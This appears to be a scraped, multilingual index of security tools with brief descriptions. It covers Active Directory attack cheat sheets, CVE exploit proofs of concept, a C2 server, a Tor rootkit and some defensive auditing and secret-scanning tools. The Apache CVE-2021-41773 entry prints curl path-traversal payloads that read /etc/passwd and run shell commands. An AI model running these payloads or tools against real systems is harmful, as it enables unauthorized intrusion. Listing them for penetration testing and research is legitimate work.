collection-document

プロジェクト説明 品質・安全記事のコレクション（再構築予定） Some are inconvenient to release. Some forget update,can see me star. collection-document awesome 以前的链接中大多不是优质的 渗透测试部分不再更新 因精力有限，缓慢更新 Author: tom0li Blog: https://tom0li.github.io root@kitploit: - Project Description - Github-list - Awesome-list - 開発 - その他 - セキュリティ ...

Active-Directory-Exploitation-Cheat-Sheet

Active Directory 공격 치트 시트 이 치트 시트는 Windows Active Directory를 위한 일반적인 열거 및 공격 방법을 포함하고 있습니다. ℹ️ 이 저장소는 Nikos Katsiopis와 Nikos Vourdas에 의해 만들어졌습니다. 이 치트 시트는 PayloadAllTheThings 저장소에서 영감을 받았습니다. 요약 Active Directory Exploitation Cheat Sheet 요약 도구 도메인 열거 PowerView 사용 AD 모듈 사용 BloodHound 사용 원격 BloodHoun...

cve-2024-56348

JetBrains TeamCity 인증 우회 + RCE CVE-2024-56348 PoC 📜 설명 CVE-2024-56348은 JetBrains TeamCity 온프레미스 에서 발생하는 심각한 인증 우회 취약점으로, 2024.12 이전의 모든 버전에 영향을 미칩니다. REST API가 ;.jsp를 포함한 경로에 대한 요청을 부적절하게 처리하여, 인증되지 않은 공격자가 완전히 인증된 것처럼 모든 REST 엔드포인트를 호출할 수 있습니다. 본 익스플로잇은 이 우회를 TeamCity의 자체 REST API와 연계하여...

jboss-autopwn

jboss-autopwn BlackHat Europe 2010で紹介されたJBoss Autopwn - このバージョンは、Minded Securityによって発見されたJBoss認証バイパスVERB操作の脆弱性CVE-2010-0738を組み込んでいます C. Papathanasiou 2010 はじめに このJBossスクリプトは、対象のJBoss ASサーバーにJSPシェルをデプロイします。デプロイ後、スクリプトはアップロードおよびコマンド実行機能を使用して、対話型セッションを提供します。 特徴: マルチプラットフォーム対応 -...

CVE-2026-54806

WP Activity Log PHP オブジェクトインジェクション CVE-2026-54806 PoC 📜 説明 CVE-2026-54806 は、Melapress 製の WP Activity Log WordPress プラグイン wp-security-audit-log における、認証不要の PHP オブジェクトインジェクションの深刻な脆弱性 CVSS 9.8 です。認証されていない攻撃者は、ログが記録されるイベント（例: ログイン失敗）を引き起こす任意のリクエストの User-Agent ヘッダーを介して、シリアライズされた PHP...

rex

root@kitploit: | | \ / / | | | | | | | | \ / | | \ / / / \ ' / | |/ | ' / | | | || / | | \ \ | | | | \ \ || \//\ |//\\|| ||/|/|| ||/ Rex カーネル拡張機能 目次 Rex とは サンプルプログラム ビルドと実行 ドキュメント Rex を使う理由 ライセンス Rex とは Rex は、eBPF の代わりに Rust 製カーネル拡張プログラムをロードして実行できる、安全で実用的なカーネル拡張フレームワークです。 Aya のような eBPF...

ofp_sniffer

OFPSniffer는 문제 해결 및 학습 목적으로 사용되는 OpenFlow 스니퍼입니다. 현재 버전 1.2이며, 모든 OpenFlow 1.0 메시지를 분석하고, InfluxDB, Grafana, Slack과 함께 작동합니다. OpenFlow 1.3은 곧 출시될 OFPSniffer 버전 1.3에서 사용 가능합니다. Linux 셸에서 직접 작동하며, 유선 상이나 libpcap 파일로부터 모든 OpenFlow 메시지를 분석합니다. OFPSniffer를 사용하면 X11 또는 Wireshark를 열지 않고도 OpenFlow 메시지와 관...

jebmcp

JEB Pro 用の即席 MCP サーバー & プラグインです。 Cline & Cursor & RooCode でテスト済みです。 参考: https://github.com/mrexodia/ida-pro-mcp インストール 必要条件 root@kitploit: Python = 3.11 uv: https://docs.astral.sh/uv/getting-started/installation/ 使い方 src/jebmcp/MCP.py を $JEBINSTALLATIONDIR/scripts にコピーしてください。jython...

faraday-cli

Faraday on the terminal Use faraday directly from your favorite terminal faraday-cli is the official client that make automating your security workflows, easier. Before installing, we recommend creating and activating a Python virtual environment to avoid affecting your system Python packages. Fo...

invoker

Invoker Penetration testing utility and antivirus assessment tool. Built with Visual Studio Community 2022 v17.5.4 64-bit and tested on Windows 10 Enterprise OS 64-bit. Made for educational purposes. I hope it will help! This repository started to have known signatures and I don't have time to...

invoker

Invoker 침투 테스트 유틸리티 및 안티바이러스 평가 도구. Visual Studio Community 2022 v17.5.4 64-bit로 빌드되었으며 Windows 10 Enterprise OS 64-bit에서 테스트되었습니다. 교육 목적으로 제작되었습니다. 도움이 되길 바랍니다! 이 저장소에는 알려진 시그니처가 존재하기 시작했으며, 새 실행 파일을 매번 업로드할 시간이 없으므로 이 프로젝트를 직접 컴파일해야 합니다. 유용한 웹사이트: elastic.co learn.microsoft.com...

bfac

BFAC Advanced Backup-File Artifacts Testing for Web-Applications BFAC Backup File Artifacts Checker is an automated tool that checks for backup artifacts that may disclose the web-application's source code. The artifacts can also lead to leakage of sensitive information, such as passwords,...

lnkbomb

Lnkbomb Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester's machine running Responder or smbserver to gather...

FDsploit

파일 포함File Inclusion 및 디렉터리 트래버설Directory Traversal 퍼징, 열거 및 익스플로잇 도구 FDsploit 메뉴: root@kitploit: $ python fdsploit.py -h | | \ | ||| | | | | | -| . | | . | | | || |/|| ||||| ||...ver. 1.2 Author: Christoforos Petrou game0ver ! usage: fdsploit.py -u | -f -h -p -d -e 0,1,2 -t -b -x -c -v --params...

pgaudit

pgAudit オープンソース PostgreSQL 監査ログ記録 はじめに PostgreSQL Audit Extension pgAudit は、標準の PostgreSQL ログ機能を介して、詳細なセッションおよびオブジェクトの監査ログを提供します。 pgAudit の目標は、政府、金融、ISO 認証などの要件を満たすために必要な監査ログを生成する機能を PostgreSQL ユーザーに提供することです。 監査とは、通常、独立した機関による個人または組織のアカウントの公式な検査です。pgAudit...

redeval

RedEval - LLM 安全性評価フレームワーク システム的な攻撃テストと拒否テストを通じて、大規模言語モデル（LLM）の安全性を評価するための包括的なフレームワークです。RedEval は、敵対的プロンプトや有害コンテンツに対する LLM の堅牢性を評価するための、統一的かつ安全で拡張可能なプラットフォームを提供します。これは、LLM の包括的なレッドチーミングのためのユニバーサルデータセットである論文「RedBench: A Universal Dataset for Comprehensive Red Teaming of Large Language Models」の一部です...

Octopus

Octopus란 무엇인가? Octopus는 HTTP/S를 통해 Octopus 파워쉘 에이전트를 제어할 수 있는, 파이썬 기반의 오픈 소스 사전 작업 C2 서버입니다. Octopus를 만든 주된 목적은 레드 팀 작업 전에 사용하기 위함입니다. 즉, 전체 작전 무기고와 인프라로 공격을 시작하는 대신, 먼저 Octopus를 사용하여 실제 레드 팀 작업을 시작하기 전에 대상을 공격하고 정보를 수집할 수 있습니다. Octopus는 매우 간단한 방식으로 작동하여 명령을 실행하고 암호화된 채널을 통해 C2와 정보를 교환하므로, 거의 모든...

credactor

Credactor Find the secret. Fix it. Commit clean. Secret scanners are good at sounding the alarm and not much help putting it out. They hand you a list of leaked credentials and leave the cleanup to you. Credactor closes the loop: it finds a hardcoded secret and rewrites it in place, so a leak goe...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 における Path Traversal の脆弱性 RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh フォローする Vulnmachines...

tor-rootkit

tor-rootkit Python 3 スタンドアロンの Windows 10 / Linux ルートキットです。ネットワーク通信は Tor ネットワークを介して確立されます。 このルートキットは WIP です。 免責事項 教育目的にのみ使用してください。 使用方法 1. リポジトリをクローンしてディレクトリを変更します： root@kitploit: git clone https://github.com/emcruise/tor-rootkit.git cd ./tor-rootkit 2. Docker コンテナをビルドします： root@kitploit: docker...